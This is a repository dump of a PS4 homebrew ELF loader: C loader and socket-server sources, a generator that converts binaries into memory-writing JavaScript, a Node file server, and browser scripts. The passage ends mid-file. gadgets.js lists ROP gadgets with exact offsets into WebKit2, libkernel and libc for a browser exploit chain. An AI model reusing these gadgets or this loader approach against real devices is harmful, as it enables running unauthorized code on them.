├── .gitignore ├── ps4 ├── include │ ├── debug.h │ ├── config.h │ ├── util.h │ ├── protmem.h │ └── elfloader.h ├── source │ ├── debug.c │ ├── config.c │ ├── util.c │ ├── protmem.c │ ├── main.c │ └── elfloader.c ├── ldrgen │ └── main.c └── Makefile ├── LICENSE ├── local ├── server.js ├── js │ ├── gadgets.js │ ├── utils.js │ ├── just-rop.js │ └── exploit.js └── index.html └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | local/ldr/ 2 | ps4/build/ 3 | ps4/bin/ 4 | ps4/lib/ 5 | -------------------------------------------------------------------------------- /ps4/include/debug.h: -------------------------------------------------------------------------------- 1 | #ifndef Debug_H 2 | #define Debug_H 3 | 4 | #include 5 | 6 | void debugEnable(); 7 | void debugDisable(); 8 | int debugPrint_(const char *format, ...); 9 | 10 | #define debugPrint(...) \ 11 | do \ 12 | { \ 13 | debugPrint_("[%s|%d]: ", __func__, __LINE__); \ 14 | debugPrint_(__VA_ARGS__); \ 15 | } \ 16 | while(0) 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /ps4/source/debug.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "util.h" 4 | #include "debug.h" 5 | 6 | static int debugIsEnabled; 7 | 8 | void debugEnable() 9 | { 10 | debugIsEnabled = 1; 11 | } 12 | 13 | void debugDisable() 14 | { 15 | debugIsEnabled = 0; 16 | } 17 | 18 | int debugPrint_(const char *format, ...) 19 | { 20 | va_list args; 21 | int r; 22 | 23 | if(debugIsEnabled == 0) 24 | return 0; 25 | 26 | va_start(args, format); 27 | r = vfprintf(stderr, format, args); 28 | //fflush(stderr); // force flush 29 | va_end(args); 30 | 31 | return r; 32 | } 33 | -------------------------------------------------------------------------------- /ps4/include/config.h: -------------------------------------------------------------------------------- 1 | enum{ MemoryPlain = 0, MemoryEmulate = 1 }; 2 | enum{ ElfInputFile = 0, ElfInputServer = 1 }; 3 | enum{ ThreadingNone = 0, Threading = 1 }; 4 | enum{ DebugOff = 0, DebugOn = 1 }; 5 | enum{ StandardIORedirectNone = 0, StandardIORedirectWait = 1, StandardIORedirectLazy = 2 }; 6 | 7 | typedef struct ElfLoaderConfig 8 | { 9 | int elfInputMode; 10 | int memoryMode; 11 | int debugMode; 12 | int threadingMode; 13 | int standardIORedirectMode; 14 | char *inputFile; 15 | } 16 | ElfLoaderConfig; 17 | 18 | void configFromDefines(ElfLoaderConfig *config); 19 | void configFromArguments(ElfLoaderConfig *config, int argc, char **argv); 20 | -------------------------------------------------------------------------------- /ps4/include/util.h: -------------------------------------------------------------------------------- 1 | #ifndef Util_H 2 | #define Util_H 3 | 4 | #include 5 | #include 6 | 7 | void utilStandardIORedirect(int to, int stdfd[3], fpos_t stdpos[3]); 8 | void utilStandardIOReset(int stdfd[3], fpos_t stdpos[3]); 9 | 10 | void utilStandardIOSimpleRedirect(int to); 11 | 12 | int utilServerCreate(int port, int backlog, int try, unsigned int sec); 13 | int utilSingleAcceptServer(int port); 14 | 15 | void *utilAllocUnsizeableFileFromDescriptor(int fd, size_t *size); 16 | void *utilAllocFileAligned(char *file, size_t *size, size_t alignment); 17 | #define utilAllocFile(file, size) utilAllocFileAligned(file, size, 1) 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /ps4/include/protmem.h: -------------------------------------------------------------------------------- 1 | #ifndef ProtMem_H 2 | #define ProtMem_H 3 | 4 | #ifdef ElfLoaderStandalone 5 | 6 | typedef struct PS4ProtectedMemory PS4ProtectedMemory; 7 | 8 | void *ps4ProtectedMemoryWritableAddress(PS4ProtectedMemory *memory); 9 | void *ps4ProtectedMemoryExecutableAddress(PS4ProtectedMemory *memory); 10 | size_t ps4ProtectedMemorySize(PS4ProtectedMemory *memory); 11 | 12 | PS4ProtectedMemory *ps4ProtectedMemoryCreate(size_t size); 13 | PS4ProtectedMemory *ps4ProtectedMemoryCreateEmulation(size_t size); 14 | int ps4ProtectedMemoryDestroy(PS4ProtectedMemory *memory); 15 | int ps4ProtectedMemoryDestroyEmulation(PS4ProtectedMemory *memory); 16 | 17 | void ps4ProtectedMemoryDebugPrint(PS4ProtectedMemory *memory); 18 | 19 | #endif 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | 26 | ##########################IMPORTANT################################## 27 | The contents in local/js are NOT licensed to you under the above terms. 28 | ##################################################################### 29 | -------------------------------------------------------------------------------- /local/server.js: -------------------------------------------------------------------------------- 1 | var http = require("http"); 2 | var url = require("url"); 3 | var path = require("path"); 4 | var fs = require("fs"); 5 | 6 | var port = process.argv[2] || 5350; 7 | var basePath = process.argv[3] || process.cwd(); 8 | 9 | http.createServer(function(request, response) 10 | { 11 | var uri = url.parse(request.url).pathname 12 | var filename = path.join(basePath, uri); 13 | 14 | fs.exists(filename, function(exists) 15 | { 16 | if(!exists) 17 | { 18 | response.writeHead(404, {"Content-Type": "text/plain"}); 19 | response.write("404 Not Found\n"); 20 | response.end(); 21 | return; 22 | } 23 | 24 | if (fs.statSync(filename).isDirectory()) 25 | filename += 'index.html'; 26 | 27 | var readStream = fs.createReadStream(filename); 28 | 29 | readStream.on('open', function () 30 | { 31 | if(filename.length - 5 == filename.indexOf('.html')) 32 | response.writeHead(200, {"Content-Type": "text/html"}); 33 | else 34 | response.writeHead(200, {"Content-Type": "application/octet-stream"}); 35 | 36 | readStream.pipe(response); 37 | }); 38 | 39 | readStream.on('end', function() 40 | { 41 | response.end(); 42 | }); 43 | 44 | readStream.on('error', function(err) 45 | { 46 | response.writeHead(500, {"Content-Type": "text/plain"}); 47 | response.write(err + "\n"); 48 | //response.write("404 Not Found\n"); 49 | response.end(); 50 | }); 51 | }); 52 | 53 | }).listen(parseInt(port, 10)); 54 | 55 | console.log('Serving directory ' + basePath + ' on port ' + port); 56 | -------------------------------------------------------------------------------- /ps4/ldrgen/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "util.h" 9 | 10 | enum{ BinarySegmentSize = 0x100000 }; 11 | 12 | int main(int argc, char **argv) 13 | { 14 | uint32_t *bin, *text, *data; 15 | off_t binSize, textSize, dataSize; 16 | size_t s; 17 | FILE *f; 18 | int i; 19 | 20 | if(argc < 3) 21 | { 22 | fprintf(stderr, "Wrong number or arguments (%i):\t %s \n", argc, argv[0]); 23 | return EXIT_FAILURE; 24 | } 25 | 26 | bin = utilAllocFileAligned(argv[2], &s, 4); 27 | if(bin == NULL) 28 | { 29 | fprintf(stderr, "Bin %s could not be loaded\n", argv[2]); 30 | return EXIT_FAILURE; 31 | } 32 | binSize = (off_t)s; 33 | text = bin; 34 | textSize = binSize; 35 | data = NULL; 36 | dataSize = 0; 37 | 38 | if(binSize > BinarySegmentSize) 39 | { 40 | for(i = (BinarySegmentSize - 1) / 4; i > 0 && bin[i] == 0; --i); 41 | textSize = (i + 1) * 4; 42 | data = (uint32_t *)((uint8_t *)bin + BinarySegmentSize); 43 | dataSize = binSize - BinarySegmentSize; 44 | } 45 | 46 | f = fopen(argv[3], "wb"); 47 | //fprintf(f, "function %s()\n{\n", argv[1]); 48 | fprintf(f, "function Ldr()\n{\n"); 49 | if(strncmp(argv[1], "Elf", 3) == 0) 50 | fprintf(f, "\tthis.isElfLoader = function()\n\t{\n\t\treturn true;\n\t}\n"); 51 | else 52 | fprintf(f, "\tthis.isElfLoader = function()\n\t{\n\t\treturn false;\n\t}\n"); 53 | fprintf(f, "\tthis.writeData = function(address)\n\t{\n\t\tsetBase(address);\n"); 54 | for(i = 0; i < dataSize / 4; i++) 55 | fprintf(f, "\t\tu32[%i] = 0x%08x;\n", i, data[i]); 56 | fprintf(f, "\t}\n\n"); 57 | fprintf(f, "\tthis.writeText = function(address)\n\t{\n\t\tsetBase(address);\n"); 58 | for(i = 0; i < textSize / 4; i++) 59 | fprintf(f, "\t\tu32[%i] = 0x%08x;\n", i, text[i]); 60 | fprintf(f, "\t}\n"); 61 | fprintf(f, "}\n"); 62 | fclose(f); 63 | 64 | free(bin); 65 | 66 | printf("Generated %s in %s from bin %s\n", argv[1], argv[3], argv[2]); 67 | 68 | return EXIT_SUCCESS; 69 | } 70 | -------------------------------------------------------------------------------- /ps4/Makefile: -------------------------------------------------------------------------------- 1 | ################################### 2 | 3 | ifdef libps4 4 | LibPS4 := $(libps4) 5 | endif 6 | ifdef LIBPS4 7 | LibPS4 := $(LIBPS4) 8 | endif 9 | ifndef LibPS4 10 | $(error Neither LIBPS4, LibPS4 nor libps4 set) 11 | endif 12 | 13 | target ?= ps4-bin 14 | 15 | ldr ?= elf 16 | ldrgen ?= true 17 | 18 | TargetFile := ldr 19 | 20 | ifeq ($(target), ps4-lib) 21 | TargetFile := elfloader 22 | SourceFilesCForce := source/elfloader.c 23 | Libraries := -lps4 24 | ldrgen := false 25 | endif 26 | 27 | include $(LibPS4)/make/libps4.mk 28 | 29 | ################################### 30 | 31 | ifeq ($(ldr), bin) 32 | CompilerFlags += -DBinaryLoader 33 | endif 34 | 35 | ifeq ($(server), true) 36 | CompilerFlags += -DElfLoaderServer 37 | endif 38 | 39 | ifeq ($(memory), emulate) 40 | CompilerFlags += -DElfLoaderEmulatePS4Memory 41 | endif 42 | 43 | ifeq ($(threading), true) 44 | CompilerFlags += -DElfLoaderThreading 45 | endif 46 | 47 | ifeq ($(stdio), none) 48 | CompilerFlags += -DElfLoaderStandardIORedirectNone 49 | endif 50 | ifeq ($(stdio), lazy) 51 | CompilerFlags += -DElfLoaderStandardIORedirectLazy 52 | endif 53 | ifeq ($(stdio), wait) 54 | CompilerFlags += -DElfLoaderStandardIORedirectWait 55 | endif 56 | 57 | ifeq ($(target), x86-64) 58 | CompilerFlags += -DElfLoaderStandalone 59 | Libraries += -lrt -lpthread 60 | endif 61 | 62 | ################################### 63 | 64 | compileAndLinkLdrGen = $(Compiler) $? -std=c11 -O3 -Wall -pedantic -Iinclude -o $@ 65 | 66 | ################################### 67 | 68 | Payload ?= 0x926400000 69 | # Binary loader mem layout. 70 | # text#[data#d-payload-area] 71 | # ^ ^ #paycode#paydata 72 | # |-----|-------x x 73 | # |--------------| 74 | # allows binldr to use data 75 | 76 | ################################### 77 | 78 | CompilerFlags += -DPayload=$(Payload) #-DText=$(Text) -DData=$(Data) 79 | 80 | ################################### 81 | 82 | $(OutPath)/$(TargetFile).a: $(ObjectFiles) 83 | $(dirp) 84 | $(archive) 85 | 86 | .PHONY:: ldrgen 87 | 88 | $(OutPath)/ldrgen: ldrgen/main.c source/util.c 89 | ifeq ($(target), ps4-bin) 90 | ifneq ($(ldrgen), false) 91 | $(dirp) 92 | $(compileAndLinkLdrGen) 93 | ifeq ($(ldr), elf) 94 | $(OutPath)/ldrgen Elf $(OutPath)/ldr ../local/ldr/ldr.js 95 | else 96 | $(OutPath)/ldrgen Bin $(OutPath)/ldr ../local/ldr/ldr.js 97 | endif 98 | endif 99 | endif 100 | 101 | ldrgen: $(OutPath)/ldrgen 102 | 103 | all:: $(OutPath)/ldrgen 104 | -------------------------------------------------------------------------------- /ps4/source/config.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "config.h" 4 | 5 | void configFromDefines(ElfLoaderConfig *config) 6 | { 7 | /* set defaults at build time */ 8 | 9 | #ifdef ElfLoaderServer 10 | config->elfInputMode = ElfInputServer; 11 | #else 12 | config->elfInputMode = ElfInputFile; 13 | #endif 14 | 15 | #ifdef ElfLoaderEmulatePS4Memory 16 | config->memoryMode = MemoryEmulate; 17 | #else 18 | config->memoryMode = MemoryPlain; 19 | #endif 20 | 21 | #if defined(ElfLoaderStandardIORedirectWait) 22 | config->standardIORedirectMode = StandardIORedirectWait; 23 | #elif defined(ElfLoaderStandardIORedirectLazy) 24 | config->standardIORedirectMode = StandardIORedirectLazy; 25 | #else 26 | config->standardIORedirectMode = StandardIORedirectNone; 27 | #endif 28 | 29 | #ifdef Debug 30 | config->debugMode = DebugOn; 31 | if(config->standardIORedirectMode == StandardIORedirectNone) 32 | config->standardIORedirectMode = StandardIORedirectWait; 33 | #else 34 | config->debugMode = DebugOff; 35 | #endif 36 | 37 | #ifdef ElfLoaderThreading 38 | config->threadingMode = Threading; 39 | #else 40 | config->threadingMode = ThreadingNone; 41 | #endif 42 | 43 | #ifdef __PS4__ 44 | config->elfInputMode = ElfInputServer; 45 | config->memoryMode = MemoryPlain; 46 | #endif 47 | } 48 | 49 | void configFromArguments(ElfLoaderConfig *config, int argc, char **argv) 50 | { 51 | int i; 52 | 53 | for(i = 1; i < argc; ++i) 54 | { 55 | if(strcmp(argv[i], "--memory-plain") == 0) 56 | config->memoryMode = MemoryPlain; 57 | if(strcmp(argv[i], "--memory-emulate") == 0) 58 | config->memoryMode = MemoryEmulate; 59 | 60 | if(strcmp(argv[i], "--file") == 0) 61 | config->elfInputMode = ElfInputFile; 62 | if(strcmp(argv[i], "--server") == 0) 63 | config->elfInputMode = ElfInputServer; 64 | 65 | if(strcmp(argv[i], "--threading") == 0) 66 | config->threadingMode = Threading; 67 | if(strcmp(argv[i], "--no-threading") == 0) 68 | config->threadingMode = ThreadingNone; 69 | 70 | if(strcmp(argv[i], "--debug") == 0) 71 | config->debugMode = DebugOn; 72 | if(strcmp(argv[i], "--no-debug") == 0) 73 | config->debugMode = DebugOff; 74 | 75 | if(strcmp(argv[i], "--stdio-none") == 0) 76 | config->standardIORedirectMode = StandardIORedirectNone; 77 | if(strcmp(argv[i], "--stdio-wait") == 0) 78 | config->standardIORedirectMode = StandardIORedirectWait; 79 | if(strcmp(argv[i], "--stdio-lazy") == 0) 80 | config->standardIORedirectMode = StandardIORedirectLazy; 81 | 82 | if(memcmp(argv[i], "--", 2) != 0) 83 | config->inputFile = argv[i]; 84 | } 85 | if(config->debugMode == DebugOn && config->standardIORedirectMode == StandardIORedirectNone) 86 | config->standardIORedirectMode = StandardIORedirectWait; 87 | 88 | if(config->elfInputMode == ElfInputFile) 89 | config->threadingMode = ThreadingNone; 90 | } 91 | -------------------------------------------------------------------------------- /local/js/gadgets.js: -------------------------------------------------------------------------------- 1 | var gadgets = { 2 | "pop rbp": new gadget([0x5d], WEBKIT2, 0xb5d6d), 3 | "pop rax": new gadget([0x58], WEBKIT2, 0x3352d), 4 | "pop rcx": new gadget([0x59], WEBKIT2, 0x2bec0d), 5 | "pop rdx": new gadget([0x5a, 0xff, 0xc5], WEBKIT2, 0x250df2), 6 | "pop rsi": new gadget([0x5e], WEBKIT2, 0x3914ca), 7 | "pop rdi": new gadget([0x5f], WEBKIT2, 0x137cbd), 8 | "pop r8": new gadget([0x41, 0x58], WEBKIT2, 0xb854d), 9 | "pop r9": new gadget([0x43, 0x59], WEBKIT2, 0x2bfe89), 10 | "pop rsp": new gadget([0xf3, 0x5c], WEBKIT2, 0x5fbb5), 11 | 12 | "mov r10, rcx; syscall": new gadget([0x49, 0x89, 0xca, 0x0f, 0x05], LIBKERNEL, 0x457), 13 | 14 | "mov [rax+0x1e8], rdx": new gadget([0x48, 0x89, 0x90, 0xe8, 0x01, 0x00, 0x00], LIBKERNEL, 0x1622), 15 | "mov [rax+0x60], rdi": new gadget([0x48, 0x89, 0x78, 0x60], WEBKIT2, 0x2b7274), 16 | "mov [rax+0x8], rsi": new gadget([0x48, 0x89, 0x70, 0x08], LIBKERNEL, 0x9414), 17 | "mov [rax+0xc0], rcx": new gadget([0x48, 0x89, 0x88, 0xc0, 0x00, 0x00, 0x00], WEBKIT2, 0x369e6d), 18 | "mov [rax], rcx": new gadget([0x48, 0x89, 0x08], WEBKIT2, 0x9ecde6), 19 | "mov [rax], rdx": new gadget([0x48, 0x89, 0x10], WEBKIT2, 0x3579c0), 20 | "mov [rax], rsi": new gadget([0x48, 0x89, 0x30], WEBKIT2, 0x2adea7), 21 | 22 | "mov [rax], dh": new gadget([], WEBKIT2, 0x142a68), 23 | 24 | "mov [rcx], rax": new gadget([0x48, 0x89, 0x01], WEBKIT2, 0xc320), 25 | "mov [rcx], rdx": new gadget([0x48, 0x89, 0x11], 12, 0x5b00), 26 | 27 | "mov [rdx], rcx": new gadget([0x48, 0x89, 0x0a], 16, 0x340bd), 28 | "mov [rdx], rsi": new gadget([0x48, 0x89, 0x32], 16, 0x1b822), 29 | 30 | "mov [rsi+0x18], rax": new gadget([0x48, 0x89, 0x46, 0x18], WEBKIT2, 0x470f5), 31 | "mov [rsi+0x8], r8": new gadget([0x4c, 0x89, 0x46, 0x08], WEBKIT2, 0x14af6d), 32 | "mov [rsi], rcx": new gadget([0x48, 0x89, 0x0e], WEBKIT2, 0x38c39f), 33 | 34 | "mov [rdi], rax": new gadget([0x48, 0x89, 0x07], LIBKERNEL, 0xb0c8), 35 | "mov [rdi+0x88], rax": new gadget([0x48, 0x89, 0x87, 0x88, 0x00, 0x00, 0x00], WEBKIT2, 0x1c0e03), 36 | "mov [rdi+0xa0], rcx": new gadget([0x48, 0x89, 0x8f, 0xa0, 0x00, 0x00, 0x00], WEBKIT2, 0xb6b5), 37 | "mov [rdi+0x80], rdx": new gadget([0x48, 0x89, 0x97, 0x80, 0x00, 0x00, 0x00], WEBKIT2, 0xa2da64), 38 | "mov [rdi+0x80], rsi": new gadget([0x48, 0x89, 0xb7, 0x80, 0x00, 0x00, 0x00], WEBKIT2, 0x3dc290), 39 | "mov [rdi+0x20], r8": new gadget([0x4c, 0x89, 0x47, 0x20], 12, 0x40415), 40 | "mov [rdi+0x20], rdx": new gadget([0x48, 0x89, 0x57, 0x20], 12, 0x38796), 41 | 42 | "mov [r10], rdi": new gadget([0x49, 0x89, 0x3a], 16, 0x1ba44), 43 | "mov [r10], rdx": new gadget([0x49, 0x89, 0x12], 16, 0x1b79b), 44 | "mov [r10], rsi": new gadget([0x49, 0x89, 0x32], 16, 0x1b8cd), 45 | 46 | "mov rdi, [rdi+0x48]": new gadget([0x48, 0x8b, 0x7f, 0x48], LIBKERNEL, 0x1bd50), 47 | "mov rsi, rax; jmp rcx": new gadget([], WEBKIT2, 0xee060), 48 | 49 | "mov rax, [rax+0x830]": new gadget([0x48, 0x8b, 0x80, 0x30, 0x08, 0x00, 0x00], 19, 0x1957), 50 | "mov rax, [rdi]": new gadget([0x48, 0x8b, 0x07], LIBKERNEL, 0x172b0), 51 | "mov rax, [rdi+0x18]": new gadget([0x48, 0x8b, 0x47, 0x18], LIBKERNEL, 0x172f0), 52 | "mov rax, [r10]": new gadget([0x49, 0x8b, 0x02], 16, 0xd93d), 53 | "mov rax, [r11]": new gadget([0x49, 0x8b, 0x03], 16, 0xd936), 54 | 55 | "mov rdx, [rdi+0x8]": new gadget([0x48, 0x8b, 0x57, 0x08], LIBC, 0x6573), 56 | 57 | "mov rax, rdi": new gadget([0x48, 0x89, 0xf8], LIBKERNEL, 0x1dc20), 58 | "mov rax, rsi": new gadget([0x48, 0x89, 0xf0], LIBKERNEL, 0x94d1), 59 | "mov rax, r8": new gadget([0x4c, 0x89, 0xc0], 16, 0xeb36), 60 | 61 | "mov rdx, rdi": new gadget([0x48, 0x89, 0xfa], LIBC, 0x860f), 62 | 63 | "add ah, byte [rax]": new gadget([], WEBKIT2, 0x9f98c8), 64 | "add edi, dword [rcx]": new gadget([], WEBKIT2, 0xa12cb2), 65 | 66 | "call rax": new gadget([], LIBKERNEL, 0x48), 67 | "call rbx": new gadget([], LIBKERNEL, 0x6143), 68 | "call rcx": new gadget([], LIBKERNEL, 0x1128d), 69 | "call rdx": new gadget([], LIBKERNEL, 0x100c3), 70 | "call rsi": new gadget([], LIBKERNEL, 0xe1c8), 71 | 72 | "jmp rax": new gadget([], LIBKERNEL, 0x94), 73 | "jmp rbx": new gadget([], LIBKERNEL, 0x26ac7), 74 | "jmp rcx": new gadget([], LIBKERNEL, 0xb9c6), 75 | "jmp rdx": new gadget([], LIBKERNEL, 0x666d), 76 | 77 | "ret": new gadget([], WEBKIT2, 0x52c04c), 78 | } 79 | -------------------------------------------------------------------------------- /local/js/utils.js: -------------------------------------------------------------------------------- 1 | // global vars 2 | var _log0, _log, _dview; 3 | 4 | // prints log messages 5 | console.log = function(txt) { 6 | if (!_log0){ 7 | _log0 = document.getElementById("log"); 8 | if (!_log0) return; 9 | } 10 | if (!_log){ 11 | _log = document.createElement("div"); 12 | if (_log0.hasChildNodes()){ 13 | _log0.insertBefore(_log, _log0.firstChild); 14 | }else{ 15 | _log0.appendChild(_log); 16 | } 17 | } 18 | var div = document.createElement("div"); 19 | div.innerHTML = txt; 20 | _log.appendChild(div); 21 | } 22 | 23 | var logAdd = console.log; 24 | console.error = console.log; 25 | 26 | function getEnvironmentInfo() { 27 | var s = new Date().toTimeString() + "
"; 28 | s += navigator.userAgent + "
"; 29 | s += navigator.appName + " (" + navigator.platform + ")

"; 30 | return s; 31 | } 32 | 33 | function getQuery() { 34 | var queryDict = {}; 35 | location.search.substr(1).split("&").forEach(function(item) {queryDict[item.split("=")[0]] = item.split("=")[1]}); 36 | return queryDict; 37 | } 38 | 39 | function getCookie(cname) { 40 | var name = cname + "="; 41 | var ca = document.cookie.split(';'); 42 | for(var i=0; i= 0) { 57 | i += tmpl.length; 58 | i = +str.substring(i,i+3); 59 | return isNaN(i) ? 0 : i; 60 | } 61 | return 0; 62 | } 63 | 64 | // creates new Uint32Array from Uint8Array's data 65 | function U8toU32(u8) 66 | { 67 | var len = u8.length; 68 | var u32 = new Uint32Array((len >>> 2) + (len % 4 ? 1:0)); 69 | if (len > 1) { 70 | len--; 71 | for(var i=0; i <= len; i++){ 72 | u32[i >>> 2] += u8[i] << ((i%4)*8); 73 | } 74 | }else{ 75 | if (len) u32[0] = u8[0]; 76 | } 77 | return u32; 78 | } 79 | 80 | // writes one array into another, and saves the old content 81 | function exchangeArrays(aFrom, aTo, offs) 82 | { 83 | var u, len = aFrom.length; 84 | for(var i=0; i < len; i++, offs++){ 85 | u = aTo[offs]; 86 | aTo[offs] = aFrom[i]; 87 | aFrom[i] = u; 88 | } 89 | } 90 | 91 | // outputs uint32 as a comma-separated list of bytes 92 | function getU8str(u) 93 | { 94 | var str = "", s; 95 | for(var i=0; i < 4; i++, u >>>= 8) { 96 | s = (u & 0xff).toString(16); 97 | if (s.length < 2) s = "0" + s; 98 | str += s + (i < 3 ? ",":""); 99 | } 100 | 101 | return str; 102 | } 103 | 104 | // outputs the content of array object 105 | function ArrayToU8String(arr, offs, len) 106 | { 107 | var str = "["; 108 | len += offs-1; 109 | for(var i=offs; i <= len; i++){ 110 | str += getU8str(arr[i]); 111 | str += i < len ? ",  " + (i % 4 == 3 ? "
":"") : "]"; 112 | } 113 | return str; 114 | } 115 | 116 | 117 | // outputs the content of array object 118 | function ArrayToString(arr, offs, len) 119 | { 120 | var str = "["; 121 | len += offs-1; 122 | for(var i=offs; i <= len; i++){ 123 | str += (arr[i] > 9 && arr[i] <= 0xffffffff) ? "0x" + arr[i].toString(16) : arr[i]; 124 | str += (i < len) ? ", " : "]"; 125 | } 126 | return str; 127 | } 128 | 129 | function ArrayToString2(arr, offs, len) 130 | { 131 | var str = ""; 132 | len += offs-1; 133 | for(var i=offs; i <= len; i++){ 134 | str += (arr[i] > 9 && arr[i] <= 0xffffffff) ? "" + arr[i].toString(16) : arr[i]; 135 | str += (i < len) ? "," : ""; 136 | } 137 | return str; 138 | } 139 | 140 | // wraps two uint32s into double precision 141 | function u2d(low,hi) 142 | { 143 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 144 | _dview.setUint32(0,hi); 145 | _dview.setUint32(4,low); 146 | return _dview.getFloat64(0); 147 | } 148 | 149 | // unwraps uints from double 150 | function d2u(d) 151 | { 152 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 153 | _dview.setFloat64(0,d); 154 | return { low: _dview.getUint32(4), 155 | hi: _dview.getUint32(0) }; 156 | } 157 | -------------------------------------------------------------------------------- /ps4/source/util.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 700 2 | #define __BSD_VISIBLE 1 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | 18 | #include "util.h" 19 | 20 | void utilStandardIORedirect(int to, int stdfd[3], fpos_t stdpos[3]) 21 | { 22 | int stdid[3] = {STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}; 23 | FILE *stdf[3] = {stdin, stdout, stderr}; 24 | int i; 25 | 26 | for(i = 0; i < 3; ++i) 27 | { 28 | fflush(stdf[i]); 29 | 30 | if(stdpos != NULL) 31 | fgetpos(stdf[i], &stdpos[i]); 32 | 33 | if(stdfd != NULL) 34 | stdfd[i] = dup(stdid[i]); 35 | 36 | close(stdid[i]); 37 | dup(to); 38 | 39 | clearerr(stdf[i]); 40 | //setbuf(stdf[i], NULL); 41 | } 42 | 43 | //setvbuf(stdin, NULL, _IOLBF, 0); 44 | //setvbuf(stdout, NULL, _IONBF, 0); 45 | //setvbuf(stderr, NULL, _IONBF, 0); 46 | } 47 | 48 | void utilStandardIOReset(int stdfd[3], fpos_t stdpos[3]) 49 | { 50 | int stdid[3] = {STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}; 51 | FILE *stdf[3] = {stdin, stdout, stderr}; 52 | int i; 53 | 54 | for(i = 0; i < 3; ++i) 55 | { 56 | fflush(stdf[i]); 57 | 58 | shutdown(stdid[i], SHUT_RDWR); 59 | close(stdid[i]); 60 | 61 | if(stdfd != NULL) 62 | { 63 | dup(stdfd[i]); 64 | close(stdfd[i]); 65 | } 66 | else //fill slots 67 | open("/dev/null", O_RDWR, 0); 68 | 69 | if(stdpos != NULL) 70 | fsetpos(stdf[i], &stdpos[i]); 71 | clearerr(stdf[i]); 72 | } 73 | } 74 | 75 | void utilStandardIOSimpleRedirect(int to) 76 | { 77 | int i; 78 | for(i = 0; i < 3; ++i) 79 | { 80 | close(i); 81 | if(to >= 0) 82 | dup(to); 83 | else 84 | open("/dev/null", O_RDWR, 0); 85 | } 86 | } 87 | 88 | FILE *fddupopen(int fd, const char *mode) 89 | { 90 | int t; 91 | FILE *r = NULL; 92 | 93 | if(mode == NULL) 94 | return NULL; 95 | 96 | if((t = dup(fd)) < 0) 97 | return NULL; 98 | 99 | if((r = fdopen(t, mode)) == NULL) 100 | close(t); 101 | 102 | return r; 103 | } 104 | 105 | int utilServerCreate(int port, int backlog, int try, unsigned int sec) 106 | { 107 | int server; 108 | struct sockaddr_in serverAddress; 109 | int r; 110 | 111 | memset(&serverAddress, 0, sizeof(serverAddress)); 112 | #ifdef __FreeBSD__ //parent of our __PS4__ 113 | serverAddress.sin_len = sizeof(serverAddress); 114 | #endif 115 | serverAddress.sin_family = AF_INET; 116 | serverAddress.sin_addr.s_addr = htonl(INADDR_ANY); 117 | serverAddress.sin_port = htons(port); 118 | 119 | for(; try > 0; --try) 120 | { 121 | server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 122 | if(server < 0) 123 | sleep(sec); 124 | } 125 | 126 | if(server < 0) 127 | return -1; 128 | 129 | setsockopt(server, SOL_SOCKET, SO_REUSEADDR, (char *)&(int){ 1 }, sizeof(int)); 130 | setsockopt(server, SOL_SOCKET, SO_REUSEPORT, (char *)&(int){ 1 }, sizeof(int)); 131 | 132 | if((r = bind(server, (struct sockaddr *)&serverAddress, sizeof(serverAddress))) < 0) 133 | { 134 | close(server); 135 | return -2; 136 | } 137 | 138 | if((r = listen(server, backlog)) < 0) 139 | { 140 | close(server); 141 | return -3; 142 | } 143 | 144 | return server; 145 | } 146 | 147 | int utilSingleAcceptServer(int port) 148 | { 149 | int server, client; 150 | if((server = utilServerCreate(port, 1, 20, 1)) < 0) 151 | return server; 152 | client = accept(server, NULL, NULL); // either return is fine 153 | close(server); 154 | return client; 155 | } 156 | 157 | void *utilAllocUnsizeableFileFromDescriptor(int fd, size_t *size) 158 | { 159 | int length = 0; 160 | int full = 4096; 161 | uint8_t *data = (void *)malloc(full); 162 | size_t s = 0; 163 | 164 | if(size != NULL) 165 | *size = 0; 166 | 167 | while((length = read(fd, data + s, full - s)) > 0) 168 | { 169 | s += length; 170 | if(s == full) 171 | { 172 | void *t; 173 | full *= 2; 174 | t = malloc(full); 175 | memcpy(t, data, s); 176 | free(data); 177 | data = t; 178 | } 179 | } 180 | 181 | if(size != NULL) 182 | *size = s; 183 | 184 | return data; 185 | } 186 | 187 | void *utilAllocFileAligned(char *file, size_t *size, size_t alignment) 188 | { 189 | struct stat s; 190 | FILE *f; 191 | uint32_t *b; 192 | size_t sz; 193 | size_t i; 194 | 195 | if(size 